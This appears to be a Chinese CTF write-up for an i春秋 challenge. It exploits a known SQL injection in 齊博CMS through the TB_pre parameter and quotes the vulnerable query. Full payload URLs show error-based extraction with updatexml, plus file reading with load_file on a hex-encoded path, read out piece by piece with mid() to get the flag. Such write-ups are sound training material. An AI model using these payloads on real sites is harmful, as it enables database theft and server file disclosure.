1. 程式人生 > >i春秋 “百度杯”CTF比賽 九月場 再見CMS

i春秋 “百度杯”CTF比賽 九月場 再見CMS

這道題剛做的時候是沒有頭緒的,看了一眼writeup,得知要通過網站下方的備案記錄來查詢除網站相關資訊,並進而得知該網站所使用的的cms,但是我照著做的時候卻查不出來結果,ICP/IP官網返回說無匹配資訊,於是我就參考writeup直接搜尋了齊博CMS的相關漏洞,我使用的是這一個: http://0day5.com/archives/3300/

一個SQL注入漏洞,我的payload是這樣構造的:

http://0fcda0b05d364ae2919c79c0386ebb055c1719c2b26941cc.game.ichunqiu.com/blog/index.php?
file=listbbs&uid=1
&id=1&TB_pre= (select * from information_schema.tables where 1=2 or (updatexml(1,concat(0x7e,( select user() ),0x7e),1)))a%23

select user()就是我們想要查詢的資訊 這裡寫圖片描述 因為原始碼中的查詢語句是這樣的:

$query = $db->query("SELECT T.*,C.* FROM {$TB_pre}threads
T LEFT JOIN {$TB_pre}tmsgs C ON T.tid=C.tid WHERE T.authorid='$uid
' ORDER BY T.$Morder[listbbs] $Mdesc[listbbs] LIMIT $min,$rows"
);

因此我們要把$TB_pre構造成一個表,所以我的payload就構造成了上面的樣子

然後就是得到資料庫名、表名、列名,進而查詢usernamepassword欄位,但是password欄位是md 5加密過後的字串,我試了很多解密網站都解不出來,最後想到利用上道題的方法load_file,直接獲取flag所在檔案的內容,猜測為/var/www/html/flag.php,不行就多試幾個,絕對路徑題目給出來了: 這裡寫圖片描述

我們如果直接寫成load_file('/var/www/html/flag.php')

是不行的,因為'會被轉義: 這裡寫圖片描述

自然而然地,就會想到用16進位制來表示這個字串:

0x2F7661722F7777772F68746D6C2F666C61672E706870

構造payload如下:

http://0fcda0b05d364ae2919c79c0386ebb055c1719c2b26941cc.game.ichunqiu.com/blog/index.php?
file=listbbs&uid=1&id=1&TB_pre=(select * from information_schema.tables where 1=2 or (updatexml(1,concat(0x7e,(
select mid((select load_file(0x2F7661722F7777772F68746D6C2F666C61672E706870)),1,10)
),0x7e),1)))a%23

使用mid函式擷取字串 這裡寫圖片描述

更改mid的後兩個引數,繼續往後截,就能得到flag